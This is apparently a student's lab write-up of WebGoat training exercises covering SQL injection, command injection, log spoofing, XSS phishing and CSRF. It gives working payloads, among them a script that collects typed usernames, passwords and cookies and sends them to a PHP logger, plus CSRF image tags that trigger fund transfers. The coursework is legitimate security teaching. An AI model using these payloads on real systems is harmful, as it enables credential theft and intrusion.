zoukankan      html  css  js  c++  java
  • 20145314郑凯杰《网络对抗技术》实验9 web安全基础实践

    20145314郑凯杰《网络对抗技术》实验9 web安全基础实践

    一、实验准备

    1.0 实验目标和内容

    1. Web前端HTML。能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
    2. Web前端javascipt。理解JavaScript的基本功能,理解DOM。编写JavaScript验证用户名、密码的规则。
    3. Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
    4. Web后端:编写PHP网页,连接数据库,进行用户认证
    5. 最简单的SQL注入,XSS攻击测试

    2.0 实验问题的回答

    (1)SQL注入攻击原理,如何防御

    攻击原理:构造符合填入语句的攻击代码,将其输入录入框,以达到自己期望的请求,比如跳过验证,直接登录。

    成因总的来说是代码编写不够严密:

    • 数据库组织类型不够完善
    • 不当的类型处理
    • 转义字符的应用漏洞
    • 最重要的是错误处理不严谨

    防御方法:利用输入规则限制进行防御,不允许特殊字符输入

    (2)XSS攻击的原理,如何防御

    攻击原理:跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码注入到网页上或者数据库存储里面,在访问网页或者执行网页上功能是就会触发,实现攻击。

    防御方法:

    对于用户输入的攻击,只允许输入合法的值,其它值一概过滤掉。
    加强对于
    另外:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

    (3)CSRF攻击原理,如何防御

    XSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

    1. 用户浏览并登录信任网站A
    2. 验证通过,在用户处产生A的Cookie
    3. 用户在没有登出A网站的前提下,访问危险网站B
    4. B要求访问第三方站点A,发出请求,
    5. 根据B的请求,浏览器带着Cookie访问A
    6. A不知请求从哪里发出的,所以A会根据自己权限处理5,这样B就收到了模拟用户操作的目的

    防御措施:

    通过验证码来检测用户提交,每次访问都需要一个新的验证码
    也可以通过强制使用户无法同时访问其他网页的方式来达到目的(代价有点大,不实际)

    二、Injuection Flaw

    1、webgoat开启

    输入:java -jar webgoat-container-7.0.1-war-exec.jar

    开启,直到出现:

    打开浏览器,进入localhost:8080/WebGoat

    完成开启

    2、SQL字符串注入 String SQL Injection

    进入训练区,首先进行SQL字符串注入的练习:

    查看这个目标,全英文的,让我们通过构造输入,达到可以查看所有信用卡号的目的。

    注意到,题目让我们试试smith:

    史密斯的帐号就出来了,这不是重点,重点是要通过构造输入来达到越过"where"的效果:

    语句为:SELECT * FROM user_data WHERE last_name = 'Smith'

    参考上一次的实验,使用永真式,得到:

    SELECT * FROM user_data WHERE last_name = ''or 1='1

    将一条语句改成两条,所以我们需要填入:'or 1='1

    3、日志欺骗 Log Spoofing

    日志欺骗,利用日志的格式,使用换行等字符,欺骗管理员:

    题意让我们用管理员的身份进去:

    用CR (%0d) 或者 LF (%0a)的方式使用换行符,达到成功的效果。

    输入zkj5314%0aLogin Succeeded for username: %0aadmin

    事实证明,%0d与%0a都可以起到成功换行效果。只不过我后面那个%0a有点多余了,但照样成功了。

    4、数字型SQL注入 Numeric SQL Injection

    这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。

    但是难点在于,并没有输入,这下怎么办呢

    burpsuite,首先读取执行的SQL值,再对属性值进行修改,达到目的。

    打开,

    进入“Proxy”的“Options”

    点击add,默认是8080端口被占用时需要添加一个新的端口8888

    接下来对浏览器进行设置,依次进入:

    preference-advanced-settings

    将设置中,监听的端口改为5314

    到这里,就建立好了捕获包的工具,所有数据都会通过这里。

    回到webgoat,点击GO,再返回查看:

    看到出现了一些数据,将其发送到repeater:

    根据执行SQL

    SELECT * FROM weather_data WHERE station = 101

    注入SQL

    SELECT * FROM weather_data WHERE station = 101 or 1=1

    就修改这个station的位置为 101 or 1=1

    就成功了:

    5、命令注入 Command Injection

    同上面一样,也没有输入框,所以还是用找出其命令再注入的办法,用上次用到的burpsuit:

    同刚才一样抓包:

    在提交的位置添加&netstat -a命令,第一个引号用来封闭前一个命令,最后一个用来闭合结尾的引号。

    点击 go 之后实验成功:

    6、数据后门 Database Backdoors

    要求实现多条SQL语句注入,对于这样有输入框的,破解的方法就比较简单了

    7、LAB SQL injection

    分析:由于输入项只有一个,也就是密码,但是密码应该是密文传输,所以我们直接用burpsuit。

    抓包,得到:

    将GUEST该为永真式,点击GO 实验成功:

    下面的STEP3,也参照数字注入:

    另外两步 step2 和 step4,由于平台不同做不了。

    所以到目前为止,注入部分就全部完成了:

    看着一排绿钩心里十分开心

    3、XSS练习

    跨站脚本钓鱼攻击(Phishing with XSS)

    三、XSS练习

    1、跨站脚本钓鱼攻击(Phishing with XSS)

    主旨是要我们编写一个钓鱼网站的页面。

    本题给了我们一个例子,是一个搜索引擎的例子。要编写一个网页,实现录入。

    我想到可以直接用上次实验做的代码:

    加工之后变成:

    前端haha.html//需要加上一个实现攻击的script脚本
    
    <script>
    function hack(){
    str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;  
     str2="http://127.0.0.1/5314.php?" + str;
    
    XSSImage=new Image; 
    XSSImage.src=str2;
    alert(str2);
    }
    </script>
    
    </form><form name="phish"><br><br><HR><H3>For your login:</H3 ><br><br>
    Input your Username:<br><input type="text" name="user"><br>
    Input your Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="submit" value="Login" onclick="hack()"><br>
    </form><br><br><HR>
    

    编写的5314.php:

    zkj haha
    <!DOCTYPE html>
    <html>
    <body>  
    <?php
    echo " PHP 脚本!";
    $uname=($_GET["username"]);
    $pwd=($_GET["password"]);
    $ck=($_GET["ck"]);
    
    $myfile = fopen("lyd.log", "a") or die("Unable to open file!");
    fprintf($myfile,"username:");
    fwrite($myfile, $uname);
    fprintf($myfile,"
    ");
    fprintf($myfile,"password:");
    fwrite($myfile, $pwd);
    fprintf($myfile,"
    ");
    fprintf($myfile,"cookie:");
    fwrite($myfile, $ck);
    fprintf($myfile,"
    ");
    fclose($myfile);
    /*
    system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");
    */
    ?>
    
    </body>
    </html>
    

    成功实现攻击,将传来的username和password写入log文件:

    登陆界面,输入用户名和密码:

    然后保存至/var/www/html中的lyd.log文件中

    保存的用户密码:

    2、储存型XSS(Stored XSS Attakcs)

    这是一个擦除输入的练习。

    思路是 发送一个信息,当用户收到这个信息时,就会触发在其中的恶意代码(用脚本语言写的),从而达到清除cookie的效果。

    构造语句<script>alert(document.cookie);</script>

    输入后点击20145314:

    弹窗说明可清除cookies

    完成该攻击

    四、XSCF练习

    1、Cross Site Request Forgery (CSRF)

    你的目标是发一个email给newsgroup,内容包括一个有恶意URL请求的图片。URL要指向“attack”(包含参数“Screen”和“Menu”,还有一个额外参数“transferFunds”)。当收到含有CSRF页面的邮件时,就会执行transferFunds

    根据题目要求我们伪装语句:

    <img src='!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>
    

    这个语句的关键就在于四个感叹号。

    第一个:网站攻击源,可以是最后现金转过去的目的地址。这里不填,默认本地

    第二个:在网站中有,页面右侧的scr和menu的值,直接填入。

    第三个:同上

    第四个:是需要转账的金额,选择5314元哈哈

    攻击:

    成功

    2、CSRF Prompt By-pass

    网页上的手动发起请求的操作,是通过HTML+JavaScript向服务器请求,在这道题目中,我们需要在文本框中添加两个语句,一个用于请求用户转账,另一个用于触发确认界面。

    这个实验的实现跟上个很类似,所以直接这样完成就行了:

    haha
    <img src='attack?Screen=465&menu=900&transferFunds=5314'5314 width='1' height='1'>
    
    <img src='attack?Screen=465&menu=900&transferFunds=CONFIRM' width='1' height='1'>
    

    完成:

    最后,这一部分的完成情况为:

    五、实验感想

    这次的实验像闯关一样很有意思,最终的成果为:

    还是很有成就感的,至于难度,有些还是挺麻烦的,有些由于平台之类的不好实现,所以就没有打勾,但是效果实现了。对实验进行一下总结,主要是:

    • 若有输入框,则有两种情况:为文本输入框时,考虑普通注入攻击方式进行攻击。若为密码框,可以采用burpsuite或者firesuite进行抓包注入
    • 若没有输入框,直接考虑进行抓包注入,工具同上,方法也同上。
    • 若需要清除cookies等功能时,会用到一些特殊的语句,这些语句通过百度可以查到。
    • 编写网页,用以钓鱼时,方法就更多了。同时,所需的知识也更多。

    总的来说,本次的实验覆盖的面越来越广了。这样循序渐进的学习,知识和方法的确掌握了很多,比起曾经疲于奔命写博客来说,这样的有效的学习,真是让人有些小感动。

  • 相关阅读:
    (双指针 二分) leetcode 167. Two Sum II
    (双指针) leetcode 485. Max Consecutive Ones
    (双指针) leetcode 27. Remove Element
    (String) leetcode 67. Add Binary
    (数组) leetcode 66. Plus One
    (N叉树 BFS) leetcode429. N-ary Tree Level Order Traversal
    (N叉树 递归) leetcode 590. N-ary Tree Postorder Traversal
    (N叉树 递归) leetcode589. N-ary Tree Preorder Traversal
    (N叉树 DFS 递归 BFS) leetcode 559. Maximum Depth of N-ary Tree
    (BST 递归) leetcode98. Validate Binary Search Tree
  • 原文地址:https://www.cnblogs.com/5314zkj/p/6858986.html
Copyright © 2011-2022 走看看